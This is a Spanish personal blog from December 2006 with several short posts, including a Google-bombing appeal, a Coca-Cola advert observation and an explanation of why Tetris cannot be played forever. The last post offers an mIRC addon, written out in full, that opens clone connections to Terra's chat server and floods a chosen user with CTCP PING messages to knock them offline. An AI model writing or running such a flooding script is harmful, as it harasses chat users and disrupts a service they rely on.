FRIKINKIS

¿Esperas leer algo interesante aquí?

domingo, diciembre 31, 2006

JUSTICIA GOOGLERA

Resulta que hay un sitio falso (que no voy a citar siquiera) usando el nombre de Martin Luther King que promueve la supremacía de la raza blanca.
Este sitio aparece en primera página de Google y según Alexa tiene tanto tráfico como el sitio correcto.

Así que me uno a la campaña de Google bombing pero para “restaurar daños”.

Martin Luther King
Martin Luther King
Martin Luther King
Martin Luther King
Martin Luther King
Martin Luther King
Martin Luther King
Martin Luther King
Martin Luther King

Via Aceitunas Sin Hueso que lo vio en Desbarradas de Akin que a su vez lo vio en Ethica more cybernetica, que lo vio en Cambalache de Zifra, que lo vio en Ricardo Galli, de Software Libre.

Se solicita la copia de este artículo, incluso sin citar la procedencia.

sábado, diciembre 30, 2006

Habeis visto el anuncio de cocacola en el cual salen 2 chavales cojiendo una cocacola y luego sale otra gratis ?? SPOT

1º La parte del anuncio que es como si fuese dentro de la maquina es mas largo de lo que el anuncio en televisión muestra
2º La botella que sale de cocacola es de cristal, por lo tanto lleva chapa. En el momento en que se dan la vuelta y se pone a beber el del gorro ya no tiene chapa !! ¿?¿?¿? MAGIA ?¿?¿?

martes, diciembre 26, 2006

aposta y no te sale maxo !! jajaja

viernes, diciembre 22, 2006

¿Es posible jugar al tetris eternamente?

Un jugador puede perder por dos razones:

Que no pueda aguantar el ritmo con la velocidad creciente de las piezas.

O una vez que la velocidad supera a la velocidad máxima de desplazamiento lateral de las piezas. De manera que el movimiento de las piezas este limitado a una zona triangular en la parte superior de la pantalla. Asignando a las piezas un posicionamiento numérico se resuelve esta deficiencia.

Podría parecer que un hipotético jugador perfecto aguantaría jugando eternamente sin perder, pero no es así.

El motivo tiene que ver con las piezas asemejadas a las letras S y Z (como las de las imagenes). Si un jugador recibe una secuencia larga de piezas S se verá inevitablemente obligado a dejar al menos un hueco en una de las esquinas, que no podrá rellenar. De la misma manera se puede dar mas tarde otra larga serie, esta vez, de piezas Z, que obligarán al jugador a dejar un hueco en la esquina opuesta, sin poder haber eliminado el anterior. Este proceso repetido varias veces haría perder a cualquier jugador. Como las piezas se distribuyen aleatoriamente en algún momento del juego ocurriría tal situación, dado que el generador aleatorio de las piezas es teóricamente perfecto en una partida lo suficientemente larga.

En la practica esto no suele ocurrir. Un buen jugador podría sobrevivir a mas de 150 piezas “S” y “Z” consecutivas. La probabilidad de que en un instante cualquiera del juego las siguientes 150 piezas sean solamente “S” y “Z” es de una entre (7/2)150 (aproximadamente 4×10-81), esta magnitud es del mismo orden que el numero de átomos que hay en el universo. La mayoría de implementaciones emplean un generador numérico seudo aleatorio para generar la secuencia de piezas y esa secuencia de “S-Z” con casi toda certeza no esta incluida en la secuencia producida por el generador congruencial linear de 32 bits de la mayoría de las implementaciones (que tienen unos 4.2 × 109 estados). De hecho, las versiones más nuevas, desde 2001 y posteriores, tienden a seguir una nueva linea, en la que el generador de aleatoriedad genera las siete piezas en una permutación simultanea, garantizando una distribución uniforme a corto plazo.


http://en.wikipedia.org/wiki/Tetris
A ver si este año se comporta un poco mas simpatico nuestro colega juan carlos jeje

jueves, diciembre 21, 2006

web curiosa: http://www.willitblend.com/
Videos con test de "triturabilidad" de todo tipo de objetos. Repartidos en las secciones de catastrofes y recomendados para probar en casa.
Sin mencionar que tienen un presentador con mucho gancho (al que muchos desearian batir)

martes, diciembre 19, 2006

para los que no conozcan este juego y para los que lo conozcan tb lo pongo aki.

lunes, diciembre 18, 2006

recordando lo de las imagenes en 3D mientras miraba unas fotos se ma ocurrio hacer una jejeje

Foto: Mochila de David

domingo, diciembre 03, 2006

Aqui teneis un addon que hice el otro dia para tirar a la gente que entra por web al chat de terra:


on *:load:{
echo -s Addon NukeWebUser cargado
echo -s Addon created by GyoX
}

dialog clonweb {
title "ClonWebNuker"
size 50 50 250 180
button "Nuke", 1, 5 5 240 25
text "nick:", 2, 7 42 25 25,
edit "", 3, 35 38 210 25,center
edit "", 4, 5 65 240 115, read multi vsbar center
}

menu channel,menubar,status {
-
ClonWebUser: /dialog -md clonweb clonweb
}

on *:dialog:clonweb:sclick:*:{
if ( $did == 1 ) { nukear }
}

alias nukear {
set %cw.ping 0
set %cw.contador 0
sockopen clonweb1 chfl.terra.es 6969
sockopen clonweb2 chfl.terra.es 6969
sockopen clonweb3 chfl.terra.es 6969
}

on *:sockopen:clonweb*:{
sockwrite -nt $sockname <raw>PASS%20NULL</raw>
sockwrite -nt $sockname <raw>NICK $rand(a,z) $+ $rand(1,9) $+ $rand(a,z) $+ $rand(1,9) $+ $rand(a,z) $+ $rand(1,9) $+ $rand(a,z) $+ $rand(1,9) $+ </raw>
sockwrite -nt $sockname <raw>USER $rand(A,Z) $+ $rand(1,9) $+ $rand(1,9) - - :chatFlashXML</raw>
inc %cw.contador
if ( %cw.contador == 3 ) { timernuke 0 1 { nukeando } | did -a clonweb 4 Nukeando a $did(clonweb,3).text $crlf }
}

alias nukeando {
if ( %cw.ping == 100 ) {
timernuke off
sockclose clonweb*
did -a clonweb 4 Objetivo nukeado! Espera un tiempo y le veras caer $crlf
}
sockwrite -tn clonweb* <raw>privmsg $did(clonweb,3).text : $+ $chr(1) $+ PING 31337 $+ $chr(1) $+ </raw>
inc %cw.ping
}